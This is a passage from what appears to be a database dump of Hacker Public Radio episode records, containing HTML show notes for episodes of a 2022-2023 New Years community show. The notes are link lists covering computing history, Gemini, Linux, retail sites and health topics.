href=\"https://www.toastmasters.org/\">toastmasters</a>\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.</li>\n<li><a href=\"https://www.openssl.org/\">openssl</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Asperger_syndrome\">Asperger\nsyndrome</a></li>\n<li><a href=\"https://www.ed.gov/stem\">STEM</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/BASIC\">BASIC</a> BASIC\n(Beginners\' All-purpose Symbolic Instruction Code) is a family of\ngeneral-purpose, high-level programming languages designed for ease of\nuse. The original version was created by John G. Kemeny and Thomas E.\nKurtz at Dartmouth College in 1963.</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a href=\"https://secondlife.com/\">second life</a></li>\n<li><a href=\"https://www.walmart.com/\">walmart</a></li>\n<li><a href=\"https://www.aldi.us/\">aldi</a></li>\n<li><a\nhref=\"https://groceries.morrisons.com/webshop/startWebshop.do\">morrisons</a></li>\n<li><a href=\"https://www.boots.com/\">boots</a></li>\n<li><a href=\"https://www.walgreens.com/\">walgreens</a></li>\n<li><a href=\"https://www.timeanddate.com/worldclock/timezone/zulu\">zulu\nclock</a></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3804,'2023-03-02','2022-2023 New Years Show Episode 2',5224,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-2\">Episode #2</h2>\n<ul>\n<li><p>London New Year\'s Eve Fireworks Display<br />\n<a href=\"https://youtu.be/2FcDNi1HkfI\"\nclass=\"uri\">https://youtu.be/2FcDNi1HkfI</a></p></li>\n<li><p>Doctor Fauci<br />\n<a href=\"https://www.niaid.nih.gov/about/director\"\nclass=\"uri\">https://www.niaid.nih.gov/about/director</a></p></li>\n<li><p>UK Tiered COVID Lockdowns<br />\n<a\nhref=\"https://www.ageuk.org.uk/information-advice/health-wellbeing/conditions-illnesses/coronavirus-guidance/local-lockdown-tiers/\"\nclass=\"uri\">https://www.ageuk.org.uk/information-advice/health-wellbeing/conditions-illnesses/coronavirus-guidance/local-lockdown-tiers/</a></p></li>\n<li><p>Carribean Ban on Alcohol During COVID?<br />\n<a\nhref=\"https://barbados.loopnews.com/content/say-no-alcohol-now-5-myths-about-alcohol-and-covid-19\"\nclass=\"uri\">https://barbados.loopnews.com/content/say-no-alcohol-now-5-myths-about-alcohol-and-covid-19</a></p></li>\n<li><p>New York City Restaurants Have Outdoor Dining Structures To\nCombat COVID Lockdowns<br />\n<a\nhref=\"https://nypost.com/2022/11/15/shut-down-nycs-outdoor-dining-sheds/\"\nclass=\"uri\">https://nypost.com/2022/11/15/shut-down-nycs-outdoor-dining-sheds/</a></p></li>\n<li><p>Happy New Year To Melbourne and Sydney Australia</p></li>\n<li><p>Happy New Year To Adelaide, Broken Hill Australia</p></li>\n<li><p>Funkwhale - Federated Music Streaming Platform<br />\n<a href=\"https://funkwhale.audio/\"\nclass=\"uri\">https://funkwhale.audio/</a></p></li>\n<li><p>FreeBSD<br />\n<a href=\"https://www.freebsd.org/\"\nclass=\"uri\">https://www.freebsd.org/</a></p></li>\n<li><p>ActivityPub<br />\n<a href=\"https://www.w3.org/TR/activitypub/\"\nclass=\"uri\">https://www.w3.org/TR/activitypub/</a><br />\n<a href=\"https://activitypub.rocks/\"\nclass=\"uri\">https://activitypub.rocks/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/ActivityPub\"\nclass=\"uri\">https://en.wikipedia.org/wiki/ActivityPub</a></p></li>\n<li><p>The Linux Lugcast<br />\n<a href=\"https://linuxlugcast.com/\"\nclass=\"uri\">https://linuxlugcast.com/</a></p></li>\n<li><p>DevRandom Podcast (pod faded)<br />\n<a href=\"http://devrandomshow.org/shows/?f=all.html\"\nclass=\"uri\">http://devrandomshow.org/shows/?f=all.html</a><br />\n<a href=\"https://archive.org/details/devrandom\"\nclass=\"uri\">https://archive.org/details/devrandom</a></p></li>\n<li><p>CHAOS NET<br />\n<a href=\"https://chaosnet.net/\"\nclass=\"uri\">https://chaosnet.net/</a><br />\n<a href=\"https://twobithistory.org/2018/09/30/chaosnet.html\"\nclass=\"uri\">https://twobithistory.org/2018/09/30/chaosnet.html</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Chaosnet\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Chaosnet</a></p></li>\n<li><p>Anne &amp; Lynn Wheeler<br />\n<a href=\"https://www.garlic.com/~lynn/\"\nclass=\"uri\">https://www.garlic.com/~lynn/</a></p></li>\n<li><p>IBM System 360<br />\n<a href=\"https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/\"\nclass=\"uri\">https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/</a><br />\n<a\nhref=\"https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/transform/\"\nclass=\"uri\">https://www.ibm.com/ibm/history/ibm100/us/en/icons/system360/transform/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/IBM_System/360\"\nclass=\"uri\">https://en.wikipedia.org/wiki/IBM_System/360</a></p></li>\n<li><p>IBM System 370<br />\n<a\nhref=\"https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PR370.html\"\nclass=\"uri\">https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PR370.html</a><br />\n<a href=\"https://www.pcmag.com/encyclopedia/term/system370\"\nclass=\"uri\">https://www.pcmag.com/encyclopedia/term/system370</a><br />\n<a href=\"https://en.wikipedia.org/wiki/IBM_System/370\"\nclass=\"uri\">https://en.wikipedia.org/wiki/IBM_System/370</a></p></li>\n<li><p>UUCP<br />\n<a href=\"https://en.wikipedia.org/wiki/UUCP\"\nclass=\"uri\">https://en.wikipedia.org/wiki/UUCP</a><br />\n<a\nhref=\"https://www.ibm.com/docs/en/zos/2.3.0?topic=planning-configuring-unix-unix-copy-program-uucp\"\nclass=\"uri\">https://www.ibm.com/docs/en/zos/2.3.0?topic=planning-configuring-unix-unix-copy-program-uucp</a></p></li>\n<li><p>VM 370<br />\n<a href=\"https://gunkies.org/wiki/VM/370\"\nclass=\"uri\">https://gunkies.org/wiki/VM/370</a><br />\n<a href=\"http://www.vm370.org/\"\nclass=\"uri\">http://www.vm370.org/</a><br />\n<a\nhref=\"https://pages.cs.wisc.edu/~stjones/proj/vm_reading/ibmrd2505M.pdf\"\nclass=\"uri\">https://pages.cs.wisc.edu/~stjones/proj/vm_reading/ibmrd2505M.pdf</a></p></li>\n<li><p>MVS<br />\n<a href=\"https://en.wikipedia.org/wiki/MVS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/MVS</a><br />\n<a href=\"https://www.techtarget.com/searchdatacenter/definition/MVS\"\nclass=\"uri\">https://www.techtarget.com/searchdatacenter/definition/MVS</a></p></li>\n<li><p>alt.folklore.computers (Usenet)<br />\n<a href=\"https://groups.google.com/g/alt.folklore.computers\"\nclass=\"uri\">https://groups.google.com/g/alt.folklore.computers</a></p></li>\n<li><p>Folklore.org - Apple Computer History<br />\n<a href=\"https://www.folklore.org/\"\nclass=\"uri\">https://www.folklore.org/</a></p></li>\n<li><p>The Story Of How Crash Bandicoot Was Made By Hacking the Sony\nPlaystation<br />\n<a\nhref=\"https://arstechnica.com/gaming/2021/09/war-stories-how-crash-bandicoot-hacked-the-original-playstation/\"\nclass=\"uri\">https://arstechnica.com/gaming/2021/09/war-stories-how-crash-bandicoot-hacked-the-original-playstation/</a></p></li>\n<li><p>CP/M<br />\n<a href=\"https://landley.net/history/mirror/cpm/history.html\"\nclass=\"uri\">https://landley.net/history/mirror/cpm/history.html</a><br />\n<a\nhref=\"https://www.howtogeek.com/718124/what-was-cpm-and-why-did-it-lose-to-ms-dos/\"\nclass=\"uri\">https://www.howtogeek.com/718124/what-was-cpm-and-why-did-it-lose-to-ms-dos/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/CP/M\"\nclass=\"uri\">https://en.wikipedia.org/wiki/CP/M</a></p></li>\n<li><p>DiOS<br />\n<a href=\"https://en.wikipedia.org/wiki/DOS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/DOS</a><br />\n<a href=\"https://youtu.be/ZtXTAYT2DFM\"\nclass=\"uri\">https://youtu.be/ZtXTAYT2DFM</a> (MS-DOS)</p></li>\n<li><p>Free Pascal<br />\n<a href=\"https://www.freepascal.org/\"\nclass=\"uri\">https://www.freepascal.org/</a><br />\n<a href=\"https://wiki.freepascal.org/Projects_using_Free_Pascal\"\nclass=\"uri\">https://wiki.freepascal.org/Projects_using_Free_Pascal</a></p></li>\n<li><p>Lazarus Project<br />\n<a href=\"https://www.lazarus-ide.org/\"\nclass=\"uri\">https://www.lazarus-ide.org/</a></p></li>\n<li><p>Project Gemini<br />\n<a href=\"https://geminiquickst.art/\"\nclass=\"uri\">https://geminiquickst.art/</a><br />\n<a href=\"https://gemini.circumlunar.space/docs/faq.html\"\nclass=\"uri\">https://gemini.circumlunar.space/docs/faq.html</a></p></li>\n<li><p>Gopher<br />\n<a href=\"https://web.cortland.edu/flteach/methods/obj1/gopher.html\"\nclass=\"uri\">https://web.cortland.edu/flteach/methods/obj1/gopher.html</a><br />\n<a\nhref=\"https://www.howtogeek.com/661871/the-web-before-the-web-a-look-back-at-gopher/\"\nclass=\"uri\">https://www.howtogeek.com/661871/the-web-before-the-web-a-look-back-at-gopher/</a><br />\n<a href=\"http://gopher.quux.org:70/\"\nclass=\"uri\">http://gopher.quux.org:70/</a></p></li>\n<li><p>Plan 9<br />\n<a href=\"https://9p.io/plan9/\"\nclass=\"uri\">https://9p.io/plan9/</a><br />\n<a\nhref=\"https://www.bell-labs.com/institute/blog/plan-9-bell-labs-cyberspace/\"\nclass=\"uri\">https://www.bell-labs.com/institute/blog/plan-9-bell-labs-cyberspace/</a></p></li>\n<li><p>UTF-8<br />\n<a href=\"https://en.wikipedia.org/wiki/UTF-8\"\nclass=\"uri\">https://en.wikipedia.org/wiki/UTF-8</a><br />\n<a href=\"https://blog.hubspot.com/website/what-is-utf-8\"\nclass=\"uri\">https://blog.hubspot.com/website/what-is-utf-8</a></p></li>\n<li><p>Distributed computing<br />\n<a href=\"https://hazelcast.com/glossary/distributed-computing/\"\nclass=\"uri\">https://hazelcast.com/glossary/distributed-computing/</a></p></li>\n<li><p>Amfora (Gemini Client)<br />\n<a href=\"https://www.freshports.org/www/amfora/\"\nclass=\"uri\">https://www.freshports.org/www/amfora/</a><br />\n<a href=\"https://github.com/makeworld-the-better-one/amfora\"\nclass=\"uri\">https://github.com/makeworld-the-better-one/amfora</a></p></li>\n<li><p>Lagrange (Gemini Client)<br />\n<a href=\"https://gmi.skyjake.fi/lagrange/\"\nclass=\"uri\">https://gmi.skyjake.fi/lagrange/</a></p></li>\n<li><p>ASCII Art<br />\n<a href=\"https://www.asciiart.eu/\"\nclass=\"uri\">https://www.asciiart.eu/</a></p></li>\n<li><p>Wayland<br />\n<a href=\"https://wayland.freedesktop.org/\"\nclass=\"uri\">https://wayland.freedesktop.org/</a></p></li>\n<li><p>X Window System<br />\n<a href=\"https://en.wikipedia.org/wiki/X_Window_System\"\nclass=\"uri\">https://en.wikipedia.org/wiki/X_Window_System</a></p></li>\n<li><p>TOFU (Trust On First Use)<br />\n<a\nhref=\"https://doubleoctopus.com/security-wiki/protocol/trust-on-first-use/\"\nclass=\"uri\">https://doubleoctopus.com/security-wiki/protocol/trust-on-first-use/</a></p></li>\n<li><p>Lets Encrypt<br />\n<a href=\"https://letsencrypt.org/\"\nclass=\"uri\">https://letsencrypt.org/</a></p></li>\n<li><p>CA (Certificate Authority)<br />\n<a href=\"https://www.ssl.com/faqs/what-is-a-certificate-authority/\"\nclass=\"uri\">https://www.ssl.com/faqs/what-is-a-certificate-authority/</a></p></li>\n<li><p>SSH Keys<br />\n<a href=\"https://www.ssh.com/academy/ssh-keys\"\nclass=\"uri\">https://www.ssh.com/academy/ssh-keys</a></p></li>\n<li><p>SFTP<br />\n<a\nhref=\"https://www.ssh.com/academy/ssh/sftp-ssh-file-transfer-protocol\"\nclass=\"uri\">https://www.ssh.com/academy/ssh/sftp-ssh-file-transfer-protocol</a></p></li>\n<li><p>Station - The Social Network for Gemini<br />\n<a href=\"https://martinrue.com/station/\"\nclass=\"uri\">https://martinrue.com/station/</a></p></li>\n<li><p>PGP (Pretty Good Privacy)<br />\n<a\nhref=\"https://www.makeuseof.com/tag/pgp-me-pretty-good-privacy-explained/\"\nclass=\"uri\">https://www.makeuseof.com/tag/pgp-me-pretty-good-privacy-explained/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Pretty_Good_Privacy\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Pretty_Good_Privacy</a><br />\n<a href=\"https://www.openpgp.org/\"\nclass=\"uri\">https://www.openpgp.org/</a></p></li>\n<li><p>FTP<br />\n<a href=\"https://en.wikipedia.org/wiki/File_Transfer_Protocol\"\nclass=\"uri\">https://en.wikipedia.org/wiki/File_Transfer_Protocol</a></p></li>\n<li><p>FTPS<br />\n<a href=\"https://en.wikipedia.org/wiki/FTPS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/FTPS</a></p></li>\n<li><p>SAMBA<br />\n<a href=\"https://www.samba.org/\"\nclass=\"uri\">https://www.samba.org/</a></p></li>\n<li><p>SSHFS<br />\n<a href=\"https://en.wikipedia.org/wiki/SSHFS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/SSHFS</a></p></li>\n<li><p>Kennedy (search engine for Gemini Space)<br />\n<a href=\"https://github.com/acidus99/Kennedy\"\nclass=\"uri\">https://github.com/acidus99/Kennedy</a></p></li>\n<li><p>ChillyWeather<br />\n<a href=\"https://github.com/acidus99/ChillyWeather\"\nclass=\"uri\">https://github.com/acidus99/ChillyWeather</a></p></li>\n<li><p>News Waffle<br />\n<a href=\"http://techrights.org/2022/08/20/news-services-in-gemini/\"\nclass=\"uri\">http://techrights.org/2022/08/20/news-services-in-gemini/</a></p></li>\n<li><p>NEOVIM<br />\n<a href=\"https://neovim.io/\" class=\"uri\">https://neovim.io/</a></p></li>\n<li><p>EMACS<br />\n<a href=\"https://opensource.com/resources/what-emacs\"\nclass=\"uri\">https://opensource.com/resources/what-emacs</a></p></li>\n<li><p>FSF<br />\n<a href=\"https://www.fsf.org/\"\nclass=\"uri\">https://www.fsf.org/</a></p></li>\n<li><p>OGGCAMP<br />\n<a href=\"https://oggcamp.org/\"\nclass=\"uri\">https://oggcamp.org/</a></p></li>\n<li><p>LISP<br />\n<a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></p></li>\n<li><p>Pascal<br />\n<a\nhref=\"https://thehistoryofcomputing.net/the-pascal-programming-language\"\nclass=\"uri\">https://thehistoryofcomputing.net/the-pascal-programming-language</a></p></li>\n<li><p>Cray Computers<br />\n<a href=\"https://www.hpe.com/us/en/compute/hpc/cray.html\"\nclass=\"uri\">https://www.hpe.com/us/en/compute/hpc/cray.html</a><br />\n<a href=\"https://www.craysupercomputers.com/\"\nclass=\"uri\">https://www.craysupercomputers.com/</a></p></li>\n<li><p>Borland Pascal (Turbo Pascal)<br />\n<a href=\"https://en.wikipedia.org/wiki/Turbo_Pascal\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Turbo_Pascal</a><br />\n<a href=\"https://borlandpascal.fandom.com/wiki/Borland_Pascal\"\nclass=\"uri\">https://borlandpascal.fandom.com/wiki/Borland_Pascal</a></p></li>\n<li><p>Google Groups (a sort of usenet front end)<br />\n<a href=\"https://groups.google.com/my-groups\"\nclass=\"uri\">https://groups.google.com/my-groups</a></p></li>\n<li><p>alt.sysadmin.recovery<br />\n<a href=\"https://groups.google.com/g/alt.sysadmin.recovery\"\nclass=\"uri\">https://groups.google.com/g/alt.sysadmin.recovery</a></p></li>\n<li><p>BOFH Archive<br />\n<a href=\"https://www.theregister.com/offbeat/bofh/\"\nclass=\"uri\">https://www.theregister.com/offbeat/bofh/</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3814,'2023-03-16','2022-2023 New Years Show Episode 3',7265,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-3\">Episode #3</h2>\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/The_Drunkard%27s_Walk\">wikipedia:</a>\nThe Drunkard\'s Walk: How Randomness Rules Our Lives.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Lactose_intolerance\">wikipedia:</a>\nLactose intolerance is a common condition caused by a decreased ability\nto digest lactose, a sugar found in dairy products.</li>\n<li><a\nhref=\"https://en.uncyclopedia.co/wiki/Tree_hugging_hippy\">uncyclopedia:</a>\nA tree hugging hippy is a hippy who hugs trees often found in Bezerkley,\nCalifornia. Many people think that there is much more to say about tree\nhugging hippies than just the fact that they hug trees, but reality is,\nthat there is not really very much more to say about tree hugging\nhippies than that they hug trees.</li>\n<li><a\nhref=\"https://www.merriam-webster.com/dictionary/vegetarian\">merriam-webster:</a>\nA vegetarian is a person who does not eat meat : someone whose diet\nconsists wholly of vegetables, fruits, grains, nuts, and sometimes eggs\nor dairy products.</li>\n<li><a\nhref=\"https://www.merriam-webster.com/dictionary/vegan\">merriam-webster:</a>\nA vegan is a strict vegetarian who consumes no food (such as meat, eggs,\nor dairy products) that comes from animals.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Liberalism\">wikipedia:</a>\nLiberalism is a political and moral philosophy based on the rights of\nthe individual, liberty, consent of the governed, political equality and\nequality before the law. Liberals espouse various views depending on\ntheir understanding of these principles.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Conservatism\">wikipedia:</a>\nConservatism is a cultural, social, and political philosophy that seeks\nto promote and to preserve traditional institutions, practices, and\nvalues. The central tenets of conservatism may vary in relation to the\nculture and civilization in which it appears.</li>\n<li><a href=\"https://www.ssa.gov/agency/\">ssa:</a> Social Security is\ncommitted to helping maintain the basic well-being and protection of the\npeople we serve. We pay benefits to about 64 million people including\nretirees, children, widows, and widowers. From birth, to marriage, and\ninto retirement, we are there to provide support throughout life\'s\njourney.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Dehydration\">wikipedia:</a>\nIn physiology, dehydration is a lack of total body water, with an\naccompanying disruption of metabolic processes. It occurs when free\nwater loss exceeds free water intake, usually due to exercise, disease,\nor high environmental temperature. Mild dehydration can also be caused\nby immersion diuresis, which may increase risk of decompression sickness\nin divers.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Emergency_medical_technician\">wikipedia:</a>\nAn emergency medical technician (EMT), also known as an ambulance\ntechnician, is a health professional that provides emergency medical\nservices. EMTs are most commonly found working in ambulances. In\nEnglish-speaking countries, paramedics are a separate profession that\nhas additional educational requirements, qualifications, and scope of\npractice.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Post-traumatic_stress_disorder\">wikipedia:</a>\nPost-traumatic stress disorder (PTSD) is a mental and behavioral\ndisorder that can develop because of exposure to a traumatic event, such\nas sexual assault, warfare, traffic collisions, child abuse, domestic\nviolence, or other threats on a person\'s life.</li>\n<li><a href=\"https://www.anxiety.org/what-is-anxiety\">anxiety:</a>\nAnxiety is the mind and body\'s reaction to stressful, dangerous, or\nunfamiliar situations. It\'s the sense of uneasiness, distress, or dread\nyou feel before a significant event.</li>\n<li><a href=\"https://alcoholism.org/alcohol/family/\">alcoholism:</a>\nAlcoholism is a condition that develops over time as someone continues\nto abuse alcohol. The result of alcoholism is the inability to control\nthe urge to drink alcohol.</li>\n<li><a href=\"https://neomutt.org/guide/gettingstarted.html\">neomutt:</a>\nNeoMutt is a text-based application which interacts with users through\ndifferent menus which are mostly line-/entry-based or page-based.</li>\n<li><a href=\"https://www.gnu.org/software/emacs/\">gnu:</a>\n<code>emacs</code> is an extensible, customizable, free/libre text\neditor &#x2014; and more.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Usenet\">wikipedia:</a> Usenet\nis a worldwide distributed discussion system available on computers. It\nwas developed from the general-purpose Unix-to-Unix Copy (UUCP) dial-up\nnetwork architecture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Google%2B\">wikipedia:</a>\nGoogle+ (pronounced and sometimes written as Google Plus; sometimes\ncalled G+) was a social network owned and operated by Google. The\nnetwork was launched on June 28, 2011, in an attempt to challenge other\nsocial networks, linking other Google products like Google Drive,\nBlogger and YouTube.</li>\n<li><a href=\"https://techandcoffee.info/\">techandcoffee:</a> A virtual\nwater cooler for the world of tech.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Yahoo!_Messenger\">wikipedia:</a>\nYahoo! Messenger (sometimes abbreviated Y!M) was an\nadvertisement-supported instant messaging client and associated protocol\nprovided by Yahoo!. Yahoo! Messenger was provided free of charge and\ncould be downloaded and used with a generic \"Yahoo ID\" which also\nallowed access to other Yahoo! services, such as Yahoo! Mail.</li>\n<li><a href=\"https://discord.com/\">discord:</a> A place that makes it\neasy to talk every day and hang out more often.</li>\n<li><a href=\"https://telegram.org/\">telegram:</a> Telegram is a\ncloud-based mobile and desktop messaging app with a focus on security\nand speed.</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a href=\"https://mintcast.org/\">mintCast</a> The podcast by the\nLinux Mint community for all users of Linux.</li>\n<li><a\nhref=\"https://distrohoppersdigest.blogspot.com/\">distrohoppersdigest:</a>\nWe are three Blokes who love Linux and trying out new stuff.</li>\n<li><a\nhref=\"https://fullcirclemagazine.org/\">fullcirclemagazine:</a></li>\n<li><a href=\"https://linuxlads.com/\">linuxlads:</a></li>\n<li><a href=\"https://www.samsclub.com\">samsclub:</a> Sam&#x2019;s Club is a\nmembership warehouse club, a limited-item business model that offers our\nmembers quality products.</li>\n<li><a href=\"https://www.walmart.com/\">walmart:</a> Walmart Inc. is an\nAmerican multinational retail corporation that operates a chain of\nhypermarkets, discount department stores, and grocery stores from the\nUnited States, headquartered in Bentonville, Arkansas.</li>\n<li><a href=\"https://www.target.com/\">target:</a> Target Corporation is\nan American big box department store chain headquartered in Minneapolis,\nMinnesota.</li>\n<li><a\nhref=\"https://www.mcdonalds.com/us/en-us/product/egg-mcmuffin.html\">mcdonalds:</a>\nMcMuffin is a family of breakfast sandwiches sold by the international\nfast food restaurant chain McDonald\'s.</li>\n<li><a href=\"https://joinmastodon.org/\">joinmastodon:</a> Social\nnetworking that\'s not for sale.</li>\n<li><a href=\"https://www.ciachef.edu/\">ciachef:</a> You love food. And\nyou&#x2019;re pretty sure you want to make it your life. If this sounds like\nyou, then The Culinary Institute of America is the only place you need\nto be.</li>\n<li><a\nhref=\"https://www.fda.gov/food/food-labeling-nutrition/food-allergies\">fda:</a>\nA food allergy is an abnormal immune response to food. The symptoms of\nthe allergic reaction may range from mild to severe.</li>\n<li><a\nhref=\"https://www.healthline.com/nutrition/how-to-meal-prep\">healthline:</a>\nSpend less time in the kitchen: Choose which meals to cook first based\non cook times.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Beekeeping\">wikipedia:</a>\nBeekeeping is the maintenance of bee colonies, commonly in man-made\nbeehives.</li>\n<li><a\nhref=\"https://www.veganfriendly.org.uk/articles/ethics-of-veganism/\">veganfriendly:</a>\nThe Ethics of Veganism: Ethical Reasons to Go Vegan.</li>\n<li><a\nhref=\"https://www.worldwildlife.org/industries/beef\">worldwildlife:</a>\nBeef production has several distinct and significant impacts on the\nenvironment.</li>\n<li><a href=\"https://xess.com/manuals/xs40-manual-v1_4.pdf2:\">xess:</a>\nHow to install, test, and use your new XS40 or XSP Board.\n<ul>\n<li><a href=\"https://www.ebay.com/itm/334294589255\">ebay:</a> SBC ISA\n386 SX40 single computer cpu card OMNI-300 4MB.</li>\n</ul></li>\n<li><a href=\"https://linuxmint.com/\">linuxmint:</a> Linux Mint is a\ncommunity-driven Linux distribution based on Ubuntu, bundled with a\nvariety of free and open-source applications.</li>\n<li><a href=\"https://www.linuxliteos.com/\">linuxliteos:</a> Linux Lite\nis a Linux distribution based on Debian and Ubuntu created by a team of\nprogrammers led by Jerry Bezencon.</li>\n<li><a href=\"https://sparkylinux.org/\">sparkylinux:</a> SparkyLinux is a\ndesktop-oriented operating system based on the Debian operating\nsystem.</li>\n<li><a href=\"https://ubuntu.com/\">ubuntu:</a> Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.</li>\n<li><a href=\"https://snapcraft.io/\">snapcraft:</a> Snaps are\ncontainerised software packages that are simple to create and install.\nThey auto-update and are safe to run.</li>\n<li><a href=\"http://www.slackware.com/\">slackware:</a> Slackware is a\nLinux distribution created by Patrick Volkerding in 1993.</li>\n<li><a href=\"https://archlinux.org/\">archlinux:</a> Arch Linux is an\nindependently developed, x86-64 general-purpose Linux distribution that\nstrives to provide the latest stable versions of most software by\nfollowing a rolling-release model.</li>\n<li><a href=\"https://www.gnu.org/software/grub/\">gnu:</a> GNU GRUB is a\nMultiboot boot loader. It was derived from GRUB, the GRand Unified\nBootloader, which was originally designed and implemented by Erich\nStefan Boleyn.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Mavis_Beacon_Teaches_Typing\">wikipedia:</a>\nMavis Beacon Teaches Typing is an application software program designed\nto teach touch typing.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions\">wikipedia:</a>\nMicrosoft Windows is a computer operating system developed by\nMicrosoft.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_Microsoft_365_applications_and_services\">wikipedia:</a>\nList of Microsoft 365 applications and services.</li>\n<li><a href=\"https://www.freedos.org/\">freedos:</a> FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.</li>\n<li><a href=\"https://www.blackberry.com/us/en\">blackberry:</a>\nBlackBerry was a brand of <a\nhref=\"https://en.wikipedia.org/wiki/BlackBerry\">smartphones</a> and\nother related mobile services and devices.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/OS/2\">wikipedia:</a> OS/2\n(Operating System/2) is a series of computer operating systems,\ninitially created by Microsoft and IBM under the leadership of IBM\nsoftware designer Ed Iacobucci.</li>\n<li><a href=\"https://library.pcom.edu/accounts/\">pcom:</a> The PCOM\nnetwork account is used to logon to on-campus computers and to\nauthenticate off-campus users.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM\">wikipedia:</a> The\nInternational Business Machines Corporation (IBM), nicknamed Big Blue,\nis an American multinational technology corporation headquartered in\nArmonk, New York, with operations in over 175 countries. It specializes\nin computer hardware, middleware and software and provides hosting and\nconsulting services in areas ranging from mainframe computers to\nnanotechnology.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM_RT_PC\">wikipedia:</a> The\nIBM RT PC (RISC Technology Personal Computer) is a family of workstation\ncomputers from IBM introduced in 1986. These were the first commercial\ncomputers from IBM that were based on a reduced instruction set computer\n(RISC) architecture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM_PS/2\">wikipedia:</a> The\nPersonal System/2 or PS/2 is IBM\'s second generation of personal\ncomputers. Released in 1987, it officially replaced the IBM PC, XT, AT,\nand PC Convertible in IBM\'s lineup.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Token_Ring\">wikipedia:</a>\nToken Ring is a computer networking technology used to build local area\nnetworks. It was introduced by IBM in 1984, and standardized in 1989 as\nIEEE 802.5.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Network_Termination_Device_(NBN)\">wikipedia:</a>\nA Network Termination Device (NTD) is a customer-side network interface\ndevice used by the Australian National Broadband Network (NBN). Network\ntermination devices provide multiple bridges for customers to access the\nNBN.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Internet_protocol_suite\">wikipedia:</a>\nThe Internet protocol suite, commonly known as TCP/IP, is a framework\nfor organizing the set of communication protocols used in the Internet\nand similar computer networks according to functional criteria. The\nfoundational protocols in the suite are the Transmission Control\nProtocol (TCP), the User Datagram Protocol (UDP), and the Internet\nProtocol (IP).</li>\n<li><a href=\"https://www.rtx.com/\">rtx:</a> The Raytheon Company is a\nmajor U.S. defense contractor and industrial corporation with core\nmanufacturing concentrations in weapons and military and commercial\nelectronics.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Wafer_(electronics)\">wikipedia:</a>\nIn electronics, a wafer (also called a slice or substrate) is a thin\nslice of semiconductor, such as a crystalline silicon (c-Si), used for\nthe fabrication of integrated circuits and, in photovoltaics, to\nmanufacture solar cells.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transistor\">wikipedia:</a> A\ntransistor is a semiconductor device used to amplify or switch\nelectrical signals and power. The transistor is one of the basic\nbuilding blocks of modern electronics.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Resistor\">wikipedia:</a> A\nresistor is a passive two-terminal electrical component that implements\nelectrical resistance as a circuit element. In electronic circuits,\nresistors are used to reduce current flow, adjust signal levels, to\ndivide voltages, bias active elements, and terminate transmission lines,\namong other 